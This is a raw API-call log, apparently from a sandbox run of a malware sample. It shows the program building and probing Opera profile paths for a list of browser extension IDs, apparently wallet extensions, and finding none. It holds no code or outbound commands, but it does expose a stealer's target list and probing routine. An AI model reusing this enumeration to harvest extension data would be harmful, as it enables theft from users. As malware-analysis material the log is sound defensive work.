[0052.698] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\*"), lpFindFileData=0x181678 | out: lpFindFileData=0x181678*(dwFileAttributes=0x18194c, ftCreationTime.dwLowDateTime=0x104, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x181724, ftLastAccessTime.dwHighDateTime=0x104, ftLastWriteTime.dwLowDateTime=0x769d74c2, ftLastWriteTime.dwHighDateTime=0x71d1e8, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="è/h", cAlternateFileName="")) returned 0xffffffff
[0052.700] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.700] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.700] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec") returned 124
[0052.700] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\CURRENT") returned 132
[0052.700] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec") returned 123
[0052.700] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\CURRENT") returned 131
[0052.700] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ibnejdfjmmkpcnlpebklmnkoeoihofec_0.indexeddb.leveldb") returned 146
[0052.700] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ibnejdfjmmkpcnlpebklmnkoeoihofec_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.701] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec\\current")) returned 0xffffffff
[0052.701] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.701] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.701] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn") returned 124
[0052.701] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\CURRENT") returned 132
[0052.701] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn") returned 123
[0052.701] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\CURRENT") returned 131
[0052.701] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_nkbihfbeogaeaoehlefnkodbefgpgknn_0.indexeddb.leveldb") returned 146
[0052.701] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_nkbihfbeogaeaoehlefnkodbefgpgknn_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.701] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\current")) returned 0xffffffff
[0052.701] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.701] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.701] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp") returned 124
[0052.701] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp\\CURRENT") returned 132
[0052.701] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp") returned 123
[0052.701] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp\\CURRENT") returned 131
[0052.701] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fhbohimaelbohpjbbldcngcnapndodjp_0.indexeddb.leveldb") returned 146
[0052.701] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fhbohimaelbohpjbbldcngcnapndodjp_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.701] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\fhbohimaelbohpjbbldcngcnapndodjp\\current")) returned 0xffffffff
[0052.701] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.701] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.701] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb") returned 124
[0052.701] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\CURRENT") returned 132
[0052.701] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb") returned 123
[0052.701] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\CURRENT") returned 131
[0052.701] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ffnbelfdoeiohenkjibnmadjiehjhajb_0.indexeddb.leveldb") returned 146
[0052.701] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ffnbelfdoeiohenkjibnmadjiehjhajb_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.702] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\ffnbelfdoeiohenkjibnmadjiehjhajb\\current")) returned 0xffffffff
[0052.702] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.702] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.702] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid") returned 124
[0052.702] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\CURRENT") returned 132
[0052.702] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid") returned 123
[0052.702] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\CURRENT") returned 131
[0052.702] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_jbdaocneiiinmjbjlgalhcelgbejmnid_0.indexeddb.leveldb") returned 146
[0052.702] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_jbdaocneiiinmjbjlgalhcelgbejmnid_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.702] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\jbdaocneiiinmjbjlgalhcelgbejmnid\\current")) returned 0xffffffff
[0052.702] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.702] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.702] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad") returned 124
[0052.702] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\CURRENT") returned 132
[0052.702] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad") returned 123
[0052.702] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\CURRENT") returned 131
[0052.702] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb") returned 146
[0052.702] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.702] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\hnfanknocfeofbddgcijnmhnfnkdnaad\\current")) returned 0xffffffff
[0052.702] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.702] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.702] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.702] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln") returned 124
[0052.702] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\CURRENT") returned 132
[0052.702] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln") returned 123
[0052.702] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\CURRENT") returned 131
[0052.703] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb") returned 146
[0052.703] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.703] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln\\current")) returned 0xffffffff
[0052.703] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_hpglfhgfnhbgpjdenjgmdgoeiappafln_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.703] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.703] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.703] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne") returned 124
[0052.703] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne\\CURRENT") returned 132
[0052.703] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne") returned 123
[0052.703] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne\\CURRENT") returned 131
[0052.703] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb") returned 146
[0052.703] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.703] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.703] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.703] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.703] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj") returned 124
[0052.703] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj\\CURRENT") returned 132
[0052.703] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj") returned 123
[0052.703] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj\\CURRENT") returned 131
[0052.703] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_kncchdigobghenbbaddojjnnaogfppfj_0.indexeddb.leveldb") returned 146
[0052.703] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_kncchdigobghenbbaddojjnnaogfppfj_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.703] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\kncchdigobghenbbaddojjnnaogfppfj\\current")) returned 0xffffffff
[0052.703] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.703] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.703] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm") returned 124
[0052.703] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\CURRENT") returned 132
[0052.704] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm") returned 123
[0052.704] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\CURRENT") returned 131
[0052.704] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_nlbmnnijcnlegkjjpcfjclmcfggfefdm_0.indexeddb.leveldb") returned 146
[0052.704] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_nlbmnnijcnlegkjjpcfjclmcfggfefdm_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.704] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm\\current")) returned 0xffffffff
[0052.704] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.704] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.704] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec") returned 124
[0052.704] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\CURRENT") returned 132
[0052.704] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec") returned 123
[0052.704] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\CURRENT") returned 131
[0052.704] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fnjhmkhhmkbjkkabndcnnogagogbneec_0.indexeddb.leveldb") returned 146
[0052.704] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fnjhmkhhmkbjkkabndcnnogagogbneec_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.704] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\fnjhmkhhmkbjkkabndcnnogagogbneec\\current")) returned 0xffffffff
[0052.704] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.704] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
